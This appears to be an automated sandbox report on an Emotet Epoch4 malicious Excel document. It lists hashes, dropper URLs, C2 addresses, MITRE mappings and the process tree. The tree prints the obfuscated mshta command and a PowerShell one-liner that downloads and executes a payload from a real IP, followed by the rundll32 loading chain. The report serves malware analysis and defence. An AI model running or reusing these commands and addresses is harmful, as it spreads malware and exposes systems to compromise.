emotet | e17bb4c5591f7f164167cd96642ad43b52aff39c5175f9bf951de8ae6a83e8e4

General

Target

2022-1-28-9584a09115b259c0dcdb16a5869b8be3.xls
Size

46KB
MD5

9584a09115b259c0dcdb16a5869b8be3
SHA1

7c990a12c69dfb0e667f2ce325442656c8eeec98
SHA256

e17bb4c5591f7f164167cd96642ad43b52aff39c5175f9bf951de8ae6a83e8e4
SHA512

73eae89c29c441c5536e513a792f583fc31a94d03152ae791234c0a437ed7cd6b1251b68964288a692ac0def74c66e777dacebf4d1f1a89b9838883cd727db79

Score

10^/10

emotet epoch4 banker trojan

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://91.240.118.168/vvv/ppp/fe.html

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://91.240.118.168/vvv/ppp/fe.png

Extracted

Family

emotet

Botnet

Epoch4

C2

51.15.4.22:443

173.214.173.220:8080

212.237.5.209:443

192.254.71.210:443

216.158.226.206:443

162.243.175.63:443

212.24.98.99:8080

58.227.42.236:80

45.118.115.99:8080

104.251.214.46:8080

185.157.82.209:8080

46.55.222.11:443

188.40.137.206:8080

81.0.236.90:443

103.75.201.2:443

129.232.188.93:443

195.154.133.20:443

159.8.59.82:8080

79.172.212.216:8080

138.185.72.26:8080

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

CMD.EXE

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	3620	3484	CMD.EXE	EXCEL.EXE

Blocklisted process makes network request 3 IoCs

Processes:

mshta.exepowershell.exe

flow pid process

24 864 mshta.exe
38 736 powershell.exe
40 736 powershell.exe
Downloads MZ/PE file
Loads dropped DLL 2 IoCs

Processes:

rundll32.exerundll32.exe

pid process

1168 rundll32.exe
2528 rundll32.exe
Drops file in System32 directory 1 IoCs

Processes:

rundll32.exe

description ioc process

File opened for modification C:\Windows\SysWOW64\Goxwtph\fhkllofnddcp.dez rundll32.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

2008 864 WerFault.exe mshta.exe

flow	pid	process
24	864	mshta.exe
38	736	powershell.exe
40	736	powershell.exe

pid	process
1168	rundll32.exe
2528	rundll32.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\Goxwtph\fhkllofnddcp.dez	rundll32.exe

pid	pid_target	process	target process
2008	864	WerFault.exe	mshta.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

3484 EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 19 IoCs

Processes:

powershell.exeWerFault.exerundll32.exe

pid	process
736	powershell.exe
736	powershell.exe
2008	WerFault.exe
2008	WerFault.exe
2008	WerFault.exe
2008	WerFault.exe
2008	WerFault.exe
2008	WerFault.exe
2008	WerFault.exe
2008	WerFault.exe
2008	WerFault.exe
2008	WerFault.exe
2008	WerFault.exe
2008	WerFault.exe
2008	WerFault.exe
2008	WerFault.exe
736	powershell.exe
3776	rundll32.exe
3776	rundll32.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exeWerFault.exe

description pid process

Token: SeDebugPrivilege 736 powershell.exe
Token: SeDebugPrivilege 2008 WerFault.exe

description	pid	process
Token: SeDebugPrivilege	736	powershell.exe
Token: SeDebugPrivilege	2008	WerFault.exe

Suspicious use of SetWindowsHookEx 12 IoCs

Processes:

EXCEL.EXE

pid	process
3484	EXCEL.EXE
3484	EXCEL.EXE
3484	EXCEL.EXE
3484	EXCEL.EXE
3484	EXCEL.EXE
3484	EXCEL.EXE
3484	EXCEL.EXE
3484	EXCEL.EXE
3484	EXCEL.EXE
3484	EXCEL.EXE
3484	EXCEL.EXE
3484	EXCEL.EXE

Suspicious use of WriteProcessMemory 20 IoCs

Processes:

EXCEL.EXECMD.EXEmshta.exepowershell.execmd.exerundll32.exerundll32.exerundll32.exe

description	pid	process	target process
PID 3484 wrote to memory of 3620	3484	EXCEL.EXE	CMD.EXE
PID 3484 wrote to memory of 3620	3484	EXCEL.EXE	CMD.EXE
PID 3620 wrote to memory of 864	3620	CMD.EXE	mshta.exe
PID 3620 wrote to memory of 864	3620	CMD.EXE	mshta.exe
PID 864 wrote to memory of 736	864	mshta.exe	powershell.exe
PID 864 wrote to memory of 736	864	mshta.exe	powershell.exe
PID 736 wrote to memory of 2336	736	powershell.exe	cmd.exe
PID 736 wrote to memory of 2336	736	powershell.exe	cmd.exe
PID 2336 wrote to memory of 1168	2336	cmd.exe	rundll32.exe
PID 2336 wrote to memory of 1168	2336	cmd.exe	rundll32.exe
PID 2336 wrote to memory of 1168	2336	cmd.exe	rundll32.exe
PID 1168 wrote to memory of 2528	1168	rundll32.exe	rundll32.exe
PID 1168 wrote to memory of 2528	1168	rundll32.exe	rundll32.exe
PID 1168 wrote to memory of 2528	1168	rundll32.exe	rundll32.exe
PID 2528 wrote to memory of 3576	2528	rundll32.exe	rundll32.exe
PID 2528 wrote to memory of 3576	2528	rundll32.exe	rundll32.exe
PID 2528 wrote to memory of 3576	2528	rundll32.exe	rundll32.exe
PID 3576 wrote to memory of 3776	3576	rundll32.exe	rundll32.exe
PID 3576 wrote to memory of 3776	3576	rundll32.exe	rundll32.exe
PID 3576 wrote to memory of 3776	3576	rundll32.exe	rundll32.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\2022-1-28-9584a09115b259c0dcdb16a5869b8be3.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3484

C:\Windows\SYSTEM32\CMD.EXE
CMD.EXE /c ms^hta http://91.2^40.118.1^68/vvv/ppp/f^e.ht^m^l
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:3620

C:\Windows\system32\mshta.exe
mshta http://91.240.118.168/vvv/ppp/fe.html
3⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:864

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({FdrggvdRf}{FdrggvdRf}Ne{FdrggvdRf}{FdrggvdRf}w{FdrggvdRf}-Obj{FdrggvdRf}ec{FdrggvdRf}{FdrggvdRf}t N{FdrggvdRf}{FdrggvdRf}et{FdrggvdRf}.W{FdrggvdRf}{FdrggvdRf}e'.replace('{FdrggvdRf}', ''); $c4='bC{FdrggvdRf}li{FdrggvdRf}{FdrggvdRf}en{FdrggvdRf}{FdrggvdRf}t).D{FdrggvdRf}{FdrggvdRf}ow{FdrggvdRf}{FdrggvdRf}nl{FdrggvdRf}{FdrggvdRf}{FdrggvdRf}o'.replace('{FdrggvdRf}', ''); $c3='ad{FdrggvdRf}{FdrggvdRf}St{FdrggvdRf}rin{FdrggvdRf}{FdrggvdRf}g{FdrggvdRf}(''ht{FdrggvdRf}tp{FdrggvdRf}://91.240.118.168/vvv/ppp/fe.png'')'.replace('{FdrggvdRf}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:736

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll,BBDD
5⤵
- Suspicious use of WriteProcessMemory
PID:2336

C:\Windows\SysWow64\rundll32.exe
C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll,BBDD
6⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1168

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\ProgramData\QWER.dll",DllRegisterServer
7⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:2528

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Goxwtph\fhkllofnddcp.dez",BOzWyCFWdGHbZB
8⤵
- Suspicious use of WriteProcessMemory
PID:3576

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Goxwtph\fhkllofnddcp.dez",DllRegisterServer
9⤵
- Suspicious behavior: EnumeratesProcesses
PID:3776

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -u -p 864 -s 1892
4⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2008

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

3

T1082

Query Registry

2

T1012

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\ProgramData\QWER.dll
MD5
568ddf4d26baa3fadb6f5903e18119cc

SHA1
c556ef89517f7b5cc51fa96d042958eb553e6519

SHA256
74aa2232dc8b7f2c8adf5dc56ab90d92883bf31939ea183609d99a75038b6254

SHA512
98f09c6193970cf67a2f392760471e3009501de94189c908b63ee13941a7497ee622ea5798c4c7efc66ebead9d624a95d8c2a5dab633170ae779c869e4ff5df4

Download Submit
\ProgramData\QWER.dll
MD5
568ddf4d26baa3fadb6f5903e18119cc

SHA1
c556ef89517f7b5cc51fa96d042958eb553e6519

SHA256
74aa2232dc8b7f2c8adf5dc56ab90d92883bf31939ea183609d99a75038b6254

SHA512
98f09c6193970cf67a2f392760471e3009501de94189c908b63ee13941a7497ee622ea5798c4c7efc66ebead9d624a95d8c2a5dab633170ae779c869e4ff5df4

Download Submit
\ProgramData\QWER.dll
MD5
568ddf4d26baa3fadb6f5903e18119cc

SHA1
c556ef89517f7b5cc51fa96d042958eb553e6519

SHA256
74aa2232dc8b7f2c8adf5dc56ab90d92883bf31939ea183609d99a75038b6254

SHA512
98f09c6193970cf67a2f392760471e3009501de94189c908b63ee13941a7497ee622ea5798c4c7efc66ebead9d624a95d8c2a5dab633170ae779c869e4ff5df4

Download Submit
memory/736-301-0x00000261A33D0000-0x00000261A340C000-memory.dmp

Filesize
240KB

Download
memory/736-324-0x000002618B230000-0x00000261A3420000-memory.dmp

Filesize
385.9MB

Download
memory/736-317-0x000002618B230000-0x00000261A3420000-memory.dmp

Filesize
385.9MB

Download
memory/736-312-0x00000261A35E0000-0x00000261A3656000-memory.dmp

Filesize
472KB

Download
memory/736-278-0x00000261A3360000-0x00000261A3382000-memory.dmp

Filesize
136KB

Download
memory/736-300-0x000002618B230000-0x00000261A3420000-memory.dmp

Filesize
385.9MB

Download
memory/1168-337-0x00000000023C0000-0x00000000023E5000-memory.dmp

Filesize
148KB

Download
memory/2528-340-0x0000000002680000-0x00000000026A5000-memory.dmp

Filesize
148KB

Download
memory/2528-357-0x00000000049D0000-0x00000000049F5000-memory.dmp

Filesize
148KB

Download
memory/2528-351-0x0000000004840000-0x0000000004865000-memory.dmp

Filesize
148KB

Download
memory/2528-349-0x00000000047E0000-0x0000000004805000-memory.dmp

Filesize
148KB

Download
memory/2528-347-0x0000000004780000-0x00000000047A5000-memory.dmp

Filesize
148KB

Download
memory/2528-345-0x00000000046A0000-0x00000000046C5000-memory.dmp

Filesize
148KB

Download
memory/3484-121-0x00007FFB428B0000-0x00007FFB428C0000-memory.dmp

Filesize
64KB

Download
memory/3484-119-0x00007FFB428B0000-0x00007FFB428C0000-memory.dmp

Filesize
64KB

Download
memory/3484-118-0x00007FFB428B0000-0x00007FFB428C0000-memory.dmp

Filesize
64KB

Download
memory/3484-120-0x00007FFB428B0000-0x00007FFB428C0000-memory.dmp

Filesize
64KB

Download
memory/3484-132-0x00007FFB3FD60000-0x00007FFB3FD70000-memory.dmp

Filesize
64KB

Download
memory/3484-130-0x00007FFB428B0000-0x00007FFB428C0000-memory.dmp

Filesize
64KB

Download
memory/3484-131-0x00007FFB3FD60000-0x00007FFB3FD70000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads